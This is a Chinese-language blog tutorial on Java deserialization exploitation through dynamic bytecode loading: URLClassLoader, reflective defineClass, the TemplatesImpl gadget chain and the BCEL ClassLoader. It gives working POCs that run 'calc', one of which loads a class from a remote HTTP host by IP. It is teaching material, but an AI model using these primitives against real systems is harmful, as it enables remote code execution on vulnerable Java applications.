在利用链的构建过程中,由于受到环境限制,Runtime 类无法被正常使用,因此无法再通过传统的 Runtime 方式来执行命令。为了解决这一问题,可以采用动态加载字节码的方式来实现命令的执行。这种方式通过将需要执行的代码以字节码的形式动态加载到内存中,并利用 Java 的类加载机制在运行时执行,从而绕过对 Runtime 的直接依赖。
基础部分
字节码
Java字节码是由Java编译器(如javac)将Java源代码(.java)编译而成。每个.class
文件中包含的就是对应类的字节码指令。JVM负责解释执行这些字节码指令,从而实现Java程序的运行。
示例
Java类
1 2 3 4 5
| public class HelloWorld { public static void main(String[] args) { System.out.println("Hello, World!"); } }
|
经过编译生成HelloWorld.class
1 2 3 4 5 6
| public static void main(java.lang.String[]); Code: 0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 3: ldc #3 // String Hello, World! 5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 8: return
|
Java字节码使得Java程序能够在任何安装了JVM的平台上运行,无需针对特定平台重新编译源代码。这是Java “一次编写,到处运行” 理念的核心。
类加载器
类加载器ClassLoader就是用来加载class文件的,它分为BootstrapClassLoader、ExtensionsClassLoader、AppClassLoader和自定义类加载器;这些加载器中存在双亲委派机制:在加载一个类时,先向上委派也就是向父类委派,如果父类无法加载,自己再加载,这样可以避免重复加载一个类。
类加载器加载代码顺序:静态代码块->构造代码块->无参构造器->有参构造器
示例
使用自定义的类加载器加载类
自定义类加载器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException;
public class CustomClassLoader extends ClassLoader { private String classPath;
public CustomClassLoader(String classPath) { this.classPath = classPath; }
@Override protected Class<?> findClass(String name) throws ClassNotFoundException { byte[] classData = loadClassData(name); if (classData == null) { throw new ClassNotFoundException(); } else { return defineClass(name, classData, 0, classData.length); } }
private byte[] loadClassData(String className) { String fileName = classPath + File.separatorChar + className.replace('.', File.separatorChar) + ".class"; try (FileInputStream fis = new FileInputStream(fileName); ByteArrayOutputStream baos = new ByteArrayOutputStream()) { int data; while ((data = fis.read())!= -1) { baos.write(data); } return baos.toByteArray(); } catch (IOException e) { e.printStackTrace(); } return null; } }
|
使用我们自定义的类加载器动态加载HelloWorld.class并调用类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class DynamicLoadingExample { public static void main(String[] args) { String classPath = "."; CustomClassLoader customClassLoader = new CustomClassLoader(classPath);
try { Class<?> clazz = customClassLoader.loadClass("HelloWorld"); Object instance = clazz.getDeclaredConstructor().newInstance(); clazz.getMethod("xxxx").invoke(instance); } catch (Exception e) { e.printStackTrace(); } } }
|
动态加载字节码
使用一些类加载器去加载恶意类从而达到执行命令
URLClassLoader加载class文件
java.net.URLClassLoader.class加载器可以用来file协议加载本地class文件和jar包里面的class还有http协议加载 class 文件。
- URL 未以斜杠
/
结尾,则认为是一个 JAR 文件,使用 JarLoader 来寻找类,即为在 Jar 包中寻找 .class
文件
- URL 以斜杠
/
结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找 .class
文件
- URL 以斜杠
/
结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
使用HTTP协议
编译
先ctrl+f9把java编译成class
1 2 3 4 5 6 7
| import java.io.IOException; public class Hello { public Hello() throws IOException { Runtime.getRuntime().exec("calc"); } }
|
Hello.class默认存放在项目的 out 或 target/classes
并开启http服务

编写URLClassLoaer加载器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package classloader; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class urlclassloaderTest { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException { URL url = new URL("http://8.138.80.175:8000/"); URLClassLoader classlaoder = new URLClassLoader(new URL[]{url}); Class clazz = classlaoder.loadClass("Hello"); clazz.newInstance(); } }
|
运行后成功加载class

ClassLoader#defineClass加载字节码
加载class文件时会经历三个方法的调用 :
ClassLoader#loadClass->ClassLoader#findClass->ClassLoader#defineClass
- loadClass:类加载的入口点,遵循双亲委派模型,先尝试让父类加载器加载类,如果失败则调用 findClass。
- findClass:负责定位并读取类的字节码,然后调用 defineClass
- defineClass:它负责将原始的字节码(通常是来自 .class文件的字节数组)转换成 JVM 能够识别和使用的 Class 对象。
跟进ClassLoader#defineClass方法看一下

发现接收四个参数:name
为类名,b
为字节码数组,off
为偏移量,len
为字节码数组的长度。我们可以利用defineClass()
方法动态加载字节码,但是作用域为protected方法,因此通过反射给调用defineClass()
。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package classloader; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; public class defineclassTest { public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException { ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Class<ClassLoader> class1 = ClassLoader.class; final Method method = class1.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); method.setAccessible(true); byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\Hello.class")); Class o = (Class) method.invoke(classLoader, "classloader.Hello", bytes,0, bytes.length); o.newInstance(); } }
|

关于代码中的最后一句 o.newInstance();
Class.forName("类名")
默认会初始化被加载类的静态属性和方法,而ClassLoader.loadClass
默认不会初始化类方法,static{}
的代码也不会执行,因此需要通过newInstance()
进行初始化,这样就会按顺序加载代码块。
这样我们就证明了Classloader#defineClass方法不出网加载字节码是能用的,但是由于它的作用域是protected,很难利用,因此如果想用这种方法加载字节码就需要找存在defineClass方法并且作用域能够访问的类(TemplatesImpl、unsafe)。
这就引出了TemplatesImpl加载字节码。
TemplatesImpl加载字节码
跟进TemplatesImpl类的内部类TransletClassLoader找到被重写的defineClass()方法

发现它的作用域为default,可以被同一个包内的其他类调用。

因此接下来我们需要继续往前找,找到一个完整的调用链。
还是老办法右键defineClass查找用法,找到defineTransletClasses()

跳转到defineTransletClasses(),继续查找用法,找到了getTransletInstance()

同时发现defineTransletClasses()方法中_bytecodes
和_tfactory
不能为空,需要设置值。

跟进_tfactory
看到,为了不让它为空后续给它new一个TransformerFactoryImpl
1
| private transient TransformerFactoryImpl _tfactory = null;
|
跳转到getTransletInstance(),查找用法,找到 newTransformer

name不能为空否则返回null

跳转到newTransformer(),发现作用域为public,可以直接调用。

这样我们就找到了利用链,现在只需要构造字节码和写poc了。
构造字节码
TemplatesImpl中要求加载字节码对应类应为AbstractTranslet子类,因此字节码需要继承一下AbstractTranslet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package classloader; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class TemplatesImplTest extends AbstractTranslet { public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{} public TemplatesImplTest() throws IOException { super(); Runtime.getRuntime().exec("Calc"); } }
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package classloader; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javax.xml.transform.TransformerConfigurationException; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class RunTemplatesImplTest { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates,"_name","jjxxx"); Setvalue(templates,"_bytecodes",new byte[][]{bytes}); Setvalue(templates,"_tfactory",new TransformerFactoryImpl()); templates.newTransformer(); } public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } }
|

细节问题
代码中没有用到newInstance(),是因为传进去的字节码被加载到了_class中

在getTransletInstance()中调用了 _class[_transletIndex].newInstance();
,相当于已经执行了newInstance()。

fastjson利用时需要开启Feature.SupportNonPublicField
BCEL ClassLoader加载字节码
BCEL被包含在原生的JDK中,位于com.sun.org.apache.bcel
包下。被放入原生JDK中是因为Java的XML功能遵循JAXP规范,而JDK自带的JAXP实现依赖于Apache Xerces和Apache Xalan。由于Apache Xalan依赖于BCEL进行字节码操作,因此BCEL也被集成到标准库中,以确保JAXP功能的完整性。
BCEL 提供 Repository 和 Utility两个类
Repository
用于将一个Java Class 先转换成原生字节码,也可以直接使用javac命令来编译 java 文件生成字节码(和前文提到的ctrl+f9一个概念);
Utility
用于将原生的字节码转换成BCEL格式的字节码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package classloader; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; import java.io.IOException; public class BCELtest { public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException { JavaClass class1 = Repository.lookupClass(Hello.class); String bcelencode = Utility.encode(class1.getBytes(), true); System.out.println(bcelencode); new ClassLoader().loadClass("$$BCEL$$"+bcelencode).newInstance(); } }
|

为什么加$$BCEL$$
BCEL这个包中com.sun.org.apache.bcel.internal.util.ClassLoader,它重写了Java内置的ClassLoader#loadClass()
方法会判断类名是否以$$BCEL$$
开头;当类名以 $$BCEL$$
开头时,该加载器会识别这一特殊前缀,并对后续的字符串进行解码操作。解码后的字节码将被用于动态定义和加载类。
在Java 8u251以后,该ClassLoader被删除了
总结
部分CC链由于Runtime被限制会用到动态加载字节码,同时在fastjson利用中,BCEL会配合BasicDataSource进行不出网利用。
参考链接
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
https://drun1baby.top/2022/06/03/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-05-%E7%B1%BB%E7%9A%84%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD